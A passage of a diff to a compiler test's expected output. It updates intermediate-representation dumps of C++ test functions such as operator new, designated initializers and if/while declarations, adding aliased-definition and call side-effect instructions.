r0_32(__va_list_tag *) = Convert : r0_31 +# 896| v0_33(void) = VarArgsEnd : r0_32 +# 897| r0_34(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 897| r0_35(__va_list_tag *) = Convert : r0_34 +# 897| v0_36(void) = VarArgsEnd : r0_35 +# 898| v0_37(void) = NoOp : +# 888| v0_38(void) = ReturnVoid : +# 888| v0_39(void) = UnmodeledUse : mu* +# 888| v0_40(void) = ExitFunction : # 900| CastToVoid(int) -> void # 900| Block 0 # 900| v0_0(void) = EnterFunction : -# 900| mu0_1(unknown) = UnmodeledDefinition : -# 900| r0_2(glval) = VariableAddress[x] : -# 900| mu0_3(int) = InitializeParameter[x] : r0_2 -# 901| r0_4(glval) = VariableAddress[x] : -# 901| v0_5(void) = Convert : r0_4 -# 902| v0_6(void) = NoOp : -# 900| v0_7(void) = ReturnVoid : -# 900| v0_8(void) = UnmodeledUse : mu* -# 900| v0_9(void) = ExitFunction : +# 900| mu0_1(unknown) = AliasedDefinition : +# 900| mu0_2(unknown) = UnmodeledDefinition : +# 900| r0_3(glval) = VariableAddress[x] : +# 900| mu0_4(int) = InitializeParameter[x] : r0_3 +# 901| r0_5(glval) = VariableAddress[x] : +# 901| v0_6(void) = Convert : r0_5 +# 902| v0_7(void) = NoOp : +# 900| v0_8(void) = ReturnVoid : +# 900| v0_9(void) = UnmodeledUse : mu* +# 900| v0_10(void) = ExitFunction : # 904| ConstantConditions(int) -> void # 904| Block 0 # 904| v0_0(void) = EnterFunction : -# 904| mu0_1(unknown) = UnmodeledDefinition : -# 904| r0_2(glval) = VariableAddress[x] : -# 904| mu0_3(int) = InitializeParameter[x] : r0_2 -# 905| r0_4(glval) = VariableAddress[a] : -# 905| r0_5(bool) = Constant[1] : -# 905| mu0_6(bool) = Store : r0_4, r0_5 -# 906| r0_7(glval) = VariableAddress[b] : -# 906| r0_8(bool) = Constant[1] : -# 906| v0_9(void) = ConditionalBranch : r0_8 +# 904| mu0_1(unknown) = AliasedDefinition : +# 904| mu0_2(unknown) = UnmodeledDefinition : +# 904| r0_3(glval) = VariableAddress[x] : +# 904| mu0_4(int) = InitializeParameter[x] : r0_3 +# 905| r0_5(glval) = VariableAddress[a] : +# 905| r0_6(bool) = Constant[1] : +# 905| mu0_7(bool) = Store : r0_5, r0_6 +# 906| r0_8(glval) = VariableAddress[b] : +# 906| r0_9(bool) = Constant[1] : +# 906| v0_10(void) = ConditionalBranch : r0_9 #-----| False -> Block 3 #-----| True -> Block 2 # 906| Block 1 # 906| r1_0(glval) = VariableAddress[#temp906:11] : -# 906| r1_1(int) = Load : r1_0, mu0_1 -# 906| mu1_2(int) = Store : r0_7, r1_1 +# 906| r1_1(int) = Load : r1_0, mu0_2 +# 906| mu1_2(int) = Store : r0_8, r1_1 # 907| v1_3(void) = NoOp : # 904| v1_4(void) = ReturnVoid : # 904| v1_5(void) = UnmodeledUse : mu* @@ -3812,14 +4001,14 @@ ir.cpp: # 906| Block 2 # 906| r2_0(glval) = VariableAddress[x] : -# 906| r2_1(int) = Load : r2_0, mu0_1 +# 906| r2_1(int) = Load : r2_0, mu0_2 # 906| r2_2(glval) = VariableAddress[#temp906:11] : # 906| mu2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 1 # 906| Block 3 # 906| r3_0(glval) = VariableAddress[x] : -# 906| r3_1(int) = Load : r3_0, mu0_1 +# 906| r3_1(int) = Load : r3_0, mu0_2 # 906| r3_2(glval) = VariableAddress[#temp906:11] : # 906| mu3_3(int) = Store : r3_2, r3_1 #-----| Goto -> Block 1 @@ -3827,191 +4016,203 @@ ir.cpp: # 940| OperatorNew() -> void # 940| Block 0 # 940| v0_0(void) = EnterFunction : -# 940| mu0_1(unknown) = UnmodeledDefinition : -# 941| r0_2(glval) = FunctionAddress[operator new] : -# 941| r0_3(unsigned long) = Constant[4] : -# 941| r0_4(void *) = Call : r0_2, r0_3 -# 941| r0_5(int *) = Convert : r0_4 -# 942| r0_6(glval) = FunctionAddress[operator new] : -# 942| r0_7(unsigned long) = Constant[4] : -# 942| r0_8(float) = Constant[1.0] : -# 942| r0_9(void *) = Call : r0_6, r0_7, r0_8 -# 942| r0_10(int *) = Convert : r0_9 -# 943| r0_11(glval) = FunctionAddress[operator new] : -# 943| r0_12(unsigned long) = Constant[4] : -# 943| r0_13(void *) = Call : r0_11, r0_12 -# 943| r0_14(int *) = Convert : r0_13 -# 943| r0_15(int) = Constant[0] : -# 943| mu0_16(int) = Store : r0_14, r0_15 -# 944| r0_17(glval) = FunctionAddress[operator new] : -# 944| r0_18(unsigned long) = Constant[8] : -# 944| r0_19(void *) = Call : r0_17, r0_18 -# 944| r0_20(String *) = Convert : r0_19 -# 944| r0_21(glval) = FunctionAddress[String] : -# 944| v0_22(void) = Call : r0_21, this:r0_20 -# 945| r0_23(glval) = FunctionAddress[operator new] : -# 945| r0_24(unsigned long) = Constant[8] : -# 945| r0_25(float) = Constant[1.0] : -# 945| r0_26(void *) = Call : r0_23, r0_24, r0_25 -# 945| r0_27(String *) = Convert : r0_26 -# 945| r0_28(glval) = FunctionAddress[String] : -# 945| r0_29(glval) = StringConstant["hello"] : -# 945| r0_30(char *) = Convert : r0_29 -# 945| v0_31(void) = Call : r0_28, this:r0_27, r0_30 -# 946| r0_32(glval) = FunctionAddress[operator new] : -# 946| r0_33(unsigned long) = Constant[256] : -# 946| r0_34(align_val_t) = Constant[128] : -# 946| r0_35(void *) = Call : r0_32, r0_33, r0_34 -# 946| r0_36(Overaligned *) = Convert : r0_35 -# 947| r0_37(glval) = FunctionAddress[operator new] : -# 947| r0_38(unsigned long) = Constant[256] : -# 947| r0_39(align_val_t) = Constant[128] : -# 947| r0_40(float) = Constant[1.0] : -# 947| r0_41(void *) = Call : r0_37, r0_38, r0_39, r0_40 -# 947| r0_42(Overaligned *) = Convert : r0_41 -# 947| r0_43(Overaligned) = Constant[0] : -# 947| mu0_44(Overaligned) = Store : r0_42, r0_43 -# 948| v0_45(void) = NoOp : -# 940| v0_46(void) = ReturnVoid : -# 940| v0_47(void) = UnmodeledUse : mu* -# 940| v0_48(void) = ExitFunction : +# 940| mu0_1(unknown) = AliasedDefinition : +# 940| mu0_2(unknown) = UnmodeledDefinition : +# 941| r0_3(glval) = FunctionAddress[operator new] : +# 941| r0_4(unsigned long) = Constant[4] : +# 941| r0_5(void *) = Call : r0_3, r0_4 +# 941| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 941| r0_7(int *) = Convert : r0_5 +# 942| r0_8(glval) = FunctionAddress[operator new] : +# 942| r0_9(unsigned long) = Constant[4] : +# 942| r0_10(float) = Constant[1.0] : +# 942| r0_11(void *) = Call : r0_8, r0_9, r0_10 +# 942| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 942| r0_13(int *) = Convert : r0_11 +# 943| r0_14(glval) = FunctionAddress[operator new] : +# 943| r0_15(unsigned long) = Constant[4] : +# 943| r0_16(void *) = Call : r0_14, r0_15 +# 943| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 943| r0_18(int *) = Convert : r0_16 +# 943| r0_19(int) = Constant[0] : +# 943| mu0_20(int) = Store : r0_18, r0_19 +# 944| r0_21(glval) = FunctionAddress[operator new] : +# 944| r0_22(unsigned long) = Constant[8] : +# 944| r0_23(void *) = Call : r0_21, r0_22 +# 944| mu0_24(unknown) = ^CallSideEffect : mu0_2 +# 944| r0_25(String *) = Convert : r0_23 +# 944| r0_26(glval) = FunctionAddress[String] : +# 944| v0_27(void) = Call : r0_26, this:r0_25 +# 944| mu0_28(unknown) = ^CallSideEffect : mu0_2 +# 945| r0_29(glval) = FunctionAddress[operator new] : +# 945| r0_30(unsigned long) = Constant[8] : +# 945| r0_31(float) = Constant[1.0] : +# 945| r0_32(void *) = Call : r0_29, r0_30, r0_31 +# 945| mu0_33(unknown) = ^CallSideEffect : mu0_2 +# 945| r0_34(String *) = Convert : r0_32 +# 945| r0_35(glval) = FunctionAddress[String] : +# 945| r0_36(glval) = StringConstant["hello"] : +# 945| r0_37(char *) = Convert : r0_36 +# 945| v0_38(void) = Call : r0_35, this:r0_34, r0_37 +# 945| mu0_39(unknown) = ^CallSideEffect : mu0_2 +# 946| r0_40(glval) = FunctionAddress[operator new] : +# 946| r0_41(unsigned long) = Constant[256] : +# 946| r0_42(align_val_t) = Constant[128] : +# 946| r0_43(void *) = Call : r0_40, r0_41, r0_42 +# 946| mu0_44(unknown) = ^CallSideEffect : mu0_2 +# 946| r0_45(Overaligned *) = Convert : r0_43 +# 947| r0_46(glval) = FunctionAddress[operator new] : +# 947| r0_47(unsigned long) = Constant[256] : +# 947| r0_48(align_val_t) = Constant[128] : +# 947| r0_49(float) = Constant[1.0] : +# 947| r0_50(void *) = Call : r0_46, r0_47, r0_48, r0_49 +# 947| mu0_51(unknown) = ^CallSideEffect : mu0_2 +# 947| r0_52(Overaligned *) = Convert : r0_50 +# 947| r0_53(Overaligned) = Constant[0] : +# 947| mu0_54(Overaligned) = Store : r0_52, r0_53 +# 948| v0_55(void) = NoOp : +# 940| v0_56(void) = ReturnVoid : +# 940| v0_57(void) = UnmodeledUse : mu* +# 940| v0_58(void) = ExitFunction : # 950| OperatorNewArray(int) -> void # 950| Block 0 # 950| v0_0(void) = EnterFunction : -# 950| mu0_1(unknown) = UnmodeledDefinition : -# 950| r0_2(glval) = VariableAddress[n] : -# 950| mu0_3(int) = InitializeParameter[n] : r0_2 -# 951| r0_4(glval) = FunctionAddress[operator new[]] : -# 951| r0_5(unsigned long) = Constant[40] : -# 951| r0_6(void *) = Call : r0_4, r0_5 -# 951| r0_7(int *) = Convert : r0_6 -# 952| r0_8(glval) = FunctionAddress[operator new[]] : -# 952| r0_9(glval) = VariableAddress[n] : -# 952| r0_10(int) = Load : r0_9, mu0_1 -# 952| r0_11(unsigned long) = Convert : r0_10 -# 952| r0_12(unsigned long) = Constant[4] : -# 952| r0_13(unsigned long) = Mul : r0_11, r0_12 -# 952| r0_14(void *) = Call : r0_8, r0_13 -# 952| r0_15(int *) = Convert : r0_14 -# 953| r0_16(glval) = FunctionAddress[operator new[]] : -# 953| r0_17(glval) = VariableAddress[n] : -# 953| r0_18(int) = Load : r0_17, mu0_1 -# 953| r0_19(unsigned long) = Convert : r0_18 -# 953| r0_20(unsigned long) = Constant[4] : -# 953| r0_21(unsigned long) = Mul : r0_19, r0_20 -# 953| r0_22(float) = Constant[1.0] : -# 953| r0_23(void *) = Call : r0_16, r0_21, r0_22 -# 953| r0_24(int *) = Convert : r0_23 -# 954| r0_25(glval) = FunctionAddress[operator new[]] : -# 954| r0_26(glval) = VariableAddress[n] : -# 954| r0_27(int) = Load : r0_26, mu0_1 -# 954| r0_28(unsigned long) = Convert : r0_27 -# 954| r0_29(unsigned long) = Constant[8] : -# 954| r0_30(unsigned long) = Mul : r0_28, r0_29 -# 954| r0_31(void *) = Call : r0_25, r0_30 -# 954| r0_32(String *) = Convert : r0_31 -# 955| r0_33(glval) = FunctionAddress[operator new[]] : -# 955| r0_34(glval) = VariableAddress[n] : -# 955| r0_35(int) = Load : r0_34, mu0_1 -# 955| r0_36(unsigned long) = Convert : r0_35 -# 955| r0_37(unsigned long) = Constant[256] : -# 955| r0_38(unsigned long) = Mul : r0_36, r0_37 -# 955| r0_39(align_val_t) = Constant[128] : -# 955| r0_40(void *) = Call : r0_33, r0_38, r0_39 -# 955| r0_41(Overaligned *) = Convert : r0_40 -# 956| r0_42(glval) = FunctionAddress[operator new[]] : -# 956| r0_43(unsigned long) = Constant[2560] : -# 956| r0_44(align_val_t) = Constant[128] : -# 956| r0_45(float) = Constant[1.0] : -# 956| r0_46(void *) = Call : r0_42, r0_43, r0_44, r0_45 -# 956| r0_47(Overaligned *) = Convert : r0_46 -# 957| r0_48(glval) = FunctionAddress[operator new[]] : -# 957| r0_49(glval) = VariableAddress[n] : -# 957| r0_50(int) = Load : r0_49, mu0_1 -# 957| r0_51(unsigned long) = Convert : r0_50 -# 957| r0_52(unsigned long) = Constant[1] : -# 957| r0_53(unsigned long) = Mul : r0_51, r0_52 -# 957| r0_54(void *) = Call : r0_48, r0_53 -# 957| r0_55(DefaultCtorWithDefaultParam *) = Convert : r0_54 -# 958| r0_56(glval) = FunctionAddress[operator new[]] : -# 958| r0_57(glval) = VariableAddress[n] : -# 958| r0_58(int) = Load : r0_57, mu0_1 -# 958| r0_59(unsigned long) = Convert : r0_58 -# 958| r0_60(unsigned long) = Constant[4] : -# 958| r0_61(unsigned long) = Mul : r0_59, r0_60 -# 958| r0_62(void *) = Call : r0_56, r0_61 -# 958| r0_63(int *) = Convert : r0_62 -# 959| v0_64(void) = NoOp : -# 950| v0_65(void) = ReturnVoid : -# 950| v0_66(void) = UnmodeledUse : mu* -# 950| v0_67(void) = ExitFunction : +# 950| mu0_1(unknown) = AliasedDefinition : +# 950| mu0_2(unknown) = UnmodeledDefinition : +# 950| r0_3(glval) = VariableAddress[n] : +# 950| mu0_4(int) = InitializeParameter[n] : r0_3 +# 951| r0_5(glval) = FunctionAddress[operator new[]] : +# 951| r0_6(unsigned long) = Constant[40] : +# 951| r0_7(void *) = Call : r0_5, r0_6 +# 951| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 951| r0_9(int *) = Convert : r0_7 +# 952| r0_10(glval) = FunctionAddress[operator new[]] : +# 952| r0_11(glval) = VariableAddress[n] : +# 952| r0_12(int) = Load : r0_11, mu0_2 +# 952| r0_13(unsigned long) = Convert : r0_12 +# 952| r0_14(unsigned long) = Constant[4] : +# 952| r0_15(unsigned long) = Mul : r0_13, r0_14 +# 952| r0_16(void *) = Call : r0_10, r0_15 +# 952| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 952| r0_18(int *) = Convert : r0_16 +# 953| r0_19(glval) = FunctionAddress[operator new[]] : +# 953| r0_20(glval) = VariableAddress[n] : +# 953| r0_21(int) = Load : r0_20, mu0_2 +# 953| r0_22(unsigned long) = Convert : r0_21 +# 953| r0_23(unsigned long) = Constant[4] : +# 953| r0_24(unsigned long) = Mul : r0_22, r0_23 +# 953| r0_25(float) = Constant[1.0] : +# 953| r0_26(void *) = Call : r0_19, r0_24, r0_25 +# 953| mu0_27(unknown) = ^CallSideEffect : mu0_2 +# 953| r0_28(int *) = Convert : r0_26 +# 954| r0_29(glval) = FunctionAddress[operator new[]] : +# 954| r0_30(glval) = VariableAddress[n] : +# 954| r0_31(int) = Load : r0_30, mu0_2 +# 954| r0_32(unsigned long) = Convert : r0_31 +# 954| r0_33(unsigned long) = Constant[8] : +# 954| r0_34(unsigned long) = Mul : r0_32, r0_33 +# 954| r0_35(void *) = Call : r0_29, r0_34 +# 954| mu0_36(unknown) = ^CallSideEffect : mu0_2 +# 954| r0_37(String *) = Convert : r0_35 +# 955| r0_38(glval) = FunctionAddress[operator new[]] : +# 955| r0_39(glval) = VariableAddress[n] : +# 955| r0_40(int) = Load : r0_39, mu0_2 +# 955| r0_41(unsigned long) = Convert : r0_40 +# 955| r0_42(unsigned long) = Constant[256] : +# 955| r0_43(unsigned long) = Mul : r0_41, r0_42 +# 955| r0_44(align_val_t) = Constant[128] : +# 955| r0_45(void *) = Call : r0_38, r0_43, r0_44 +# 955| mu0_46(unknown) = ^CallSideEffect : mu0_2 +# 955| r0_47(Overaligned *) = Convert : r0_45 +# 956| r0_48(glval) = FunctionAddress[operator new[]] : +# 956| r0_49(unsigned long) = Constant[2560] : +# 956| r0_50(align_val_t) = Constant[128] : +# 956| r0_51(float) = Constant[1.0] : +# 956| r0_52(void *) = Call : r0_48, r0_49, r0_50, r0_51 +# 956| mu0_53(unknown) = ^CallSideEffect : mu0_2 +# 956| r0_54(Overaligned *) = Convert : r0_52 +# 957| r0_55(glval) = FunctionAddress[operator new[]] : +# 957| r0_56(glval) = VariableAddress[n] : +# 957| r0_57(int) = Load : r0_56, mu0_2 +# 957| r0_58(unsigned long) = Convert : r0_57 +# 957| r0_59(unsigned long) = Constant[1] : +# 957| r0_60(unsigned long) = Mul : r0_58, r0_59 +# 957| r0_61(void *) = Call : r0_55, r0_60 +# 957| mu0_62(unknown) = ^CallSideEffect : mu0_2 +# 957| r0_63(DefaultCtorWithDefaultParam *) = Convert : r0_61 +# 958| r0_64(glval) = FunctionAddress[operator new[]] : +# 958| r0_65(glval) = VariableAddress[n] : +# 958| r0_66(int) = Load : r0_65, mu0_2 +# 958| r0_67(unsigned long) = Convert : r0_66 +# 958| r0_68(unsigned long) = Constant[4] : +# 958| r0_69(unsigned long) = Mul : r0_67, r0_68 +# 958| r0_70(void *) = Call : r0_64, r0_69 +# 958| mu0_71(unknown) = ^CallSideEffect : mu0_2 +# 958| r0_72(int *) = Convert : r0_70 +# 959| v0_73(void) = NoOp : +# 950| v0_74(void) = ReturnVoid : +# 950| v0_75(void) = UnmodeledUse : mu* +# 950| v0_76(void) = ExitFunction : # 961| designatedInit() -> int # 961| Block 0 -# 961| v0_0(void) = EnterFunction : -# 961| mu0_1(unknown) = UnmodeledDefinition : -# 962| r0_2(glval) = VariableAddress[a1] : -# 962| mu0_3(int[1000]) = Uninitialized : r0_2 -# 962| r0_4(int) = Constant[0] : -# 962| r0_5(glval) = PointerAdd : r0_2, r0_4 -# 962| r0_6(unknown[8]) = Constant[0] : -# 962| mu0_7(unknown[8]) = Store : r0_5, r0_6 -#-----| Goto -> Block 2 - -# 962| Block 1 -# 962| r1_0(int) = Constant[900] : -# 962| r1_1(glval) = PointerAdd : r0_2, r1_0 -# 962| r1_2(int) = Constant[10900] : -# 962| mu1_3(int) = Store : r1_1, r1_2 -# 962| r1_4(int) = Constant[901] : -# 962| r1_5(glval) = PointerAdd : r0_2, r1_4 -# 962| r1_6(unknown[396]) = Constant[0] : -# 962| mu1_7(unknown[396]) = Store : r1_5, r1_6 -#-----| Goto -> Block 2 - -# 963| Block 2 -# 963| r2_0(glval) = VariableAddress[#return] : -# 963| r2_1(glval) = VariableAddress[a1] : -# 963| r2_2(int *) = Convert : r2_1 -# 963| r2_3(int) = Constant[900] : -# 963| r2_4(int *) = PointerAdd[4] : r2_2, r2_3 -# 963| r2_5(int) = Load : r2_4, mu0_1 -# 963| mu2_6(int) = Store : r2_0, r2_5 -# 961| r2_7(glval) = VariableAddress[#return] : -# 961| v2_8(void) = ReturnValue : r2_7, mu0_1 -# 961| v2_9(void) = UnmodeledUse : mu* -# 961| v2_10(void) = ExitFunction : - -# 962| Block 3 -# 962| r3_0(int) = Constant[2] : -# 962| r3_1(glval) = PointerAdd : r0_2, r3_0 -# 962| r3_2(int) = Constant[10002] : -# 962| mu3_3(int) = Store : r3_1, r3_2 -# 962| r3_4(int) = Constant[3] : -# 962| r3_5(glval) = PointerAdd : r0_2, r3_4 -# 962| r3_6(unknown[3588]) = Constant[0] : -# 962| mu3_7(unknown[3588]) = Store : r3_5, r3_6 -#-----| Goto -> Block 2 +# 961| v0_0(void) = EnterFunction : +# 961| mu0_1(unknown) = AliasedDefinition : +# 961| mu0_2(unknown) = UnmodeledDefinition : +# 962| r0_3(glval) = VariableAddress[a1] : +# 962| mu0_4(int[1000]) = Uninitialized[a1] : r0_3 +# 962| r0_5(int) = Constant[0] : +# 962| r0_6(glval) = PointerAdd : r0_3, r0_5 +# 962| r0_7(unknown[8]) = Constant[0] : +# 962| mu0_8(unknown[8]) = Store : r0_6, r0_7 +# 962| r0_9(int) = Constant[2] : +# 962| r0_10(glval) = PointerAdd : r0_3, r0_9 +# 962| r0_11(int) = Constant[10002] : +# 962| mu0_12(int) = Store : r0_10, r0_11 +# 962| r0_13(int) = Constant[3] : +# 962| r0_14(glval) = PointerAdd : r0_3, r0_13 +# 962| r0_15(unknown[3588]) = Constant[0] : +# 962| mu0_16(unknown[3588]) = Store : r0_14, r0_15 +# 962| r0_17(int) = Constant[900] : +# 962| r0_18(glval) = PointerAdd : r0_3, r0_17 +# 962| r0_19(int) = Constant[10900] : +# 962| mu0_20(int) = Store : r0_18, r0_19 +# 962| r0_21(int) = Constant[901] : +# 962| r0_22(glval) = PointerAdd : r0_3, r0_21 +# 962| r0_23(unknown[396]) = Constant[0] : +# 962| mu0_24(unknown[396]) = Store : r0_22, r0_23 +# 963| r0_25(glval) = VariableAddress[#return] : +# 963| r0_26(glval) = VariableAddress[a1] : +# 963| r0_27(int *) = Convert : r0_26 +# 963| r0_28(int) = Constant[900] : +# 963| r0_29(int *) = PointerAdd[4] : r0_27, r0_28 +# 963| r0_30(int) = Load : r0_29, mu0_2 +# 963| mu0_31(int) = Store : r0_25, r0_30 +# 961| r0_32(glval) = VariableAddress[#return] : +# 961| v0_33(void) = ReturnValue : r0_32, mu0_2 +# 961| v0_34(void) = UnmodeledUse : mu* +# 961| v0_35(void) = ExitFunction : # 966| IfStmtWithDeclaration(int, int) -> void # 966| Block 0 # 966| v0_0(void) = EnterFunction : -# 966| mu0_1(unknown) = UnmodeledDefinition : -# 966| r0_2(glval) = VariableAddress[x] : -# 966| mu0_3(int) = InitializeParameter[x] : r0_2 -# 966| r0_4(glval) = VariableAddress[y] : -# 966| mu0_5(int) = InitializeParameter[y] : r0_4 -# 967| r0_6(glval) = VariableAddress[b] : -# 967| r0_7(glval) = VariableAddress[x] : -# 967| r0_8(int) = Load : r0_7, mu0_1 -# 967| r0_9(glval) = VariableAddress[y] : -# 967| r0_10(int) = Load : r0_9, mu0_1 -# 967| r0_11(bool) = CompareLT : r0_8, r0_10 -# 967| mu0_12(bool) = Store : r0_6, r0_11 -# 967| r0_13(glval) = VariableAddress[b] : -# 967| r0_14(bool) = Load : r0_13, mu0_1 -# 967| v0_15(void) = ConditionalBranch : r0_14 +# 966| mu0_1(unknown) = AliasedDefinition : +# 966| mu0_2(unknown) = UnmodeledDefinition : +# 966| r0_3(glval) = VariableAddress[x] : +# 966| mu0_4(int) = InitializeParameter[x] : r0_3 +# 966| r0_5(glval) = VariableAddress[y] : +# 966| mu0_6(int) = InitializeParameter[y] : r0_5 +# 967| r0_7(glval) = VariableAddress[b] : +# 967| r0_8(glval) = VariableAddress[x] : +# 967| r0_9(int) = Load : r0_8, mu0_2 +# 967| r0_10(glval) = VariableAddress[y] : +# 967| r0_11(int) = Load : r0_10, mu0_2 +# 967| r0_12(bool) = CompareLT : r0_9, r0_11 +# 967| mu0_13(bool) = Store : r0_7, r0_12 +# 967| r0_14(glval) = VariableAddress[b] : +# 967| r0_15(bool) = Load : r0_14, mu0_2 +# 967| v0_16(void) = ConditionalBranch : r0_15 #-----| False -> Block 2 #-----| True -> Block 1 @@ -4024,13 +4225,13 @@ ir.cpp: # 970| Block 2 # 970| r2_0(glval) = VariableAddress[z] : # 970| r2_1(glval) = VariableAddress[x] : -# 970| r2_2(int) = Load : r2_1, mu0_1 +# 970| r2_2(int) = Load : r2_1, mu0_2 # 970| r2_3(glval) = VariableAddress[y] : -# 970| r2_4(int) = Load : r2_3, mu0_1 +# 970| r2_4(int) = Load : r2_3, mu0_2 # 970| r2_5(int) = Add : r2_2, r2_4 # 970| mu2_6(int) = Store : r2_0, r2_5 # 970| r2_7(glval) = VariableAddress[z] : -# 970| r2_8(int) = Load : r2_7, mu0_1 +# 970| r2_8(int) = Load : r2_7, mu0_2 # 970| r2_9(int) = Constant[0] : # 970| r2_10(bool) = CompareNE : r2_8, r2_9 # 970| v2_11(void) = ConditionalBranch : r2_10 @@ -4048,7 +4249,7 @@ ir.cpp: # 973| r4_1(glval) = VariableAddress[x] : # 973| mu4_2(int *) = Store : r4_0, r4_1 # 973| r4_3(glval) = VariableAddress[p] : -# 973| r4_4(int *) = Load : r4_3, mu0_1 +# 973| r4_4(int *) = Load : r4_3, mu0_2 # 973| r4_5(int *) = Constant[0] : # 973| r4_6(bool) = CompareNE : r4_4, r4_5 # 973| v4_7(void) = ConditionalBranch : r4_6 @@ -4058,7 +4259,7 @@ ir.cpp: # 974| Block 5 # 974| r5_0(int) = Constant[2] : # 974| r5_1(glval) = VariableAddress[p] : -# 974| r5_2(int *) = Load : r5_1, mu0_1 +# 974| r5_2(int *) = Load : r5_1, mu0_2 # 974| mu5_3(int) = Store : r5_2, r5_0 #-----| Goto -> Block 6 @@ -4071,11 +4272,12 @@ ir.cpp: # 978| WhileStmtWithDeclaration(int, int) -> void # 978| Block 0 # 978| v0_0(void) = EnterFunction : -# 978| mu0_1(unknown) = UnmodeledDefinition : -# 978| r0_2(glval) = VariableAddress[x] : -# 978| mu0_3(int) = InitializeParameter[x] : r0_2 -# 978| r0_4(glval) = VariableAddress[y] : -# 978| mu0_5(int) = InitializeParameter[y] : r0_4 +# 978| mu0_1(unknown) = AliasedDefinition : +# 978| mu0_2(unknown) = UnmodeledDefinition : +# 978| r0_3(glval) = VariableAddress[x] : +# 978| mu0_4(int) = InitializeParameter[x] : r0_3 +# 978| r0_5(glval) = VariableAddress[y] : +# 978| mu0_6(int) = InitializeParameter[y] : r0_5 #-----| Goto -> Block 7 # 979| Block 1 @@ -4085,13 +4287,13 @@ ir.cpp: # 981| Block 2 # 981| r2_0(glval) = VariableAddress[z] : # 981| r2_1(glval) = VariableAddress[x] : -# 981| r2_2(int) = Load : r2_1, mu0_1 +# 981| r2_2(int) = Load : r2_1, mu0_2 # 981| r2_3(glval) = VariableAddress[y] : -# 981| r2_4(int) = Load : r2_3, mu0_1 +# 981| r2_4(int) = Load : r2_3, mu0_2 # 981| r2_5(int) = Add : r2_2, r2_4 # 981| mu2_6(int) = Store : r2_0, r2_5 # 981| r2_7(glval) = VariableAddress[z] : -# 981| r2_8(int) = Load : r2_7, mu0_1 +# 981| r2_8(int) = Load : r2_7, mu0_2 # 981| r2_9(int) = Constant[0] : # 981| r2_10(bool) = CompareNE : r2_8, r2_9 # 981| v2_11(void) = ConditionalBranch : r2_10 @@ -4107,7 +4309,7 @@ ir.cpp: # 983| r4_1(glval) = VariableAddress[x] : # 983| mu4_2(int *) = Store : r4_0, r4_1 # 983| r4_3(glval) = VariableAddress[p] : -# 983| r4_4(int *) = Load : r4_3, mu0_1 +# 983| r4_4(int *) = Load : r4_3, mu0_2 # 983| r4_5(int *) = Constant[0] : # 983| r4_6(bool) = CompareNE : r4_4, r4_5 # 983| v4_7(void) = ConditionalBranch : r4_6 @@ -4127,13 +4329,218 @@ ir.cpp: # 979| Block 7 # 979| r7_0(glval) = VariableAddress[b] : # 979| r7_1(glval) = VariableAddress[x] : -# 979| r7_2(int) = Load : r7_1, mu0_1 +# 979| r7_2(int) = Load : r7_1, mu0_2 # 979| r7_3(glval) = VariableAddress[y] : -# 979| r7_4(int) = Load : r7_3, mu0_1 +# 979| r7_4(int) = Load : r7_3, mu0_2 # 979| r7_5(bool) = CompareLT : r7_2, r7_4 # 979| mu7_6(bool) = Store : r7_0, r7_5 # 979| r7_7(glval) = VariableAddress[b] : -# 979| r7_8(bool) = Load : r7_7, mu0_1 +# 979| r7_8(bool) = Load : r7_7, mu0_2 # 979| v7_9(void) = ConditionalBranch : r7_8 #-----| False -> Block 2 #-----| True -> Block 1 + +# 1005| ChiPhiNode(Point *, bool, bool) -> int +# 1005| Block 0 +# 1005| v0_0(void) = EnterFunction : +# 1005| mu0_1(unknown) = AliasedDefinition : +# 1005| mu0_2(unknown) = UnmodeledDefinition : +# 1005| r0_3(glval) = VariableAddress[p] : +# 1005| mu0_4(Point *) = InitializeParameter[p] : r0_3 +# 1005| r0_5(glval) = VariableAddress[which1] : +# 1005| mu0_6(bool) = InitializeParameter[which1] : r0_5 +# 1005| r0_7(glval) = VariableAddress[which2] : +# 1005| mu0_8(bool) = InitializeParameter[which2] : r0_7 +# 1006| r0_9(glval) = VariableAddress[which1] : +# 1006| r0_10(bool) = Load : r0_9, mu0_2 +# 1006| v0_11(void) = ConditionalBranch : r0_10 +#-----| False -> Block 2 +#-----| True -> Block 1 + +# 1007| Block 1 +# 1007| r1_0(glval) = VariableAddress[p] : +# 1007| r1_1(Point *) = Load : r1_0, mu0_2 +# 1007| r1_2(glval) = FieldAddress[x] : r1_1 +# 1007| r1_3(int) = Load : r1_2, mu0_2 +# 1007| r1_4(int) = Constant[1] : +# 1007| r1_5(int) = Add : r1_3, r1_4 +# 1007| mu1_6(int) = Store : r1_2, r1_5 +#-----| Goto -> Block 3 + +# 1009| Block 2 +# 1009| r2_0(glval) = VariableAddress[p] : +# 1009| r2_1(Point *) = Load : r2_0, mu0_2 +# 1009| r2_2(glval) = FieldAddress[y] : r2_1 +# 1009| r2_3(int) = Load : r2_2, mu0_2 +# 1009| r2_4(int) = Constant[1] : +# 1009| r2_5(int) = Add : r2_3, r2_4 +# 1009| mu2_6(int) = Store : r2_2, r2_5 +#-----| Goto -> Block 3 + +# 1012| Block 3 +# 1012| r3_0(glval) = VariableAddress[which2] : +# 1012| r3_1(bool) = Load : r3_0, mu0_2 +# 1012| v3_2(void) = ConditionalBranch : r3_1 +#-----| False -> Block 5 +#-----| True -> Block 4 + +# 1013| Block 4 +# 1013| r4_0(glval) = VariableAddress[p] : +# 1013| r4_1(Point *) = Load : r4_0, mu0_2 +# 1013| r4_2(glval) = FieldAddress[x] : r4_1 +# 1013| r4_3(int) = Load : r4_2, mu0_2 +# 1013| r4_4(int) = Constant[1] : +# 1013| r4_5(int) = Add : r4_3, r4_4 +# 1013| mu4_6(int) = Store : r4_2, r4_5 +#-----| Goto -> Block 6 + +# 1015| Block 5 +# 1015| r5_0(glval) = VariableAddress[p] : +# 1015| r5_1(Point *) = Load : r5_0, mu0_2 +# 1015| r5_2(glval) = FieldAddress[y] : r5_1 +# 1015| r5_3(int) = Load : r5_2, mu0_2 +# 1015| r5_4(int) = Constant[1] : +# 1015| r5_5(int) = Add : r5_3, r5_4 +# 1015| mu5_6(int) = Store : r5_2, r5_5 +#-----| Goto -> Block 6 + +# 1018| Block 6 +# 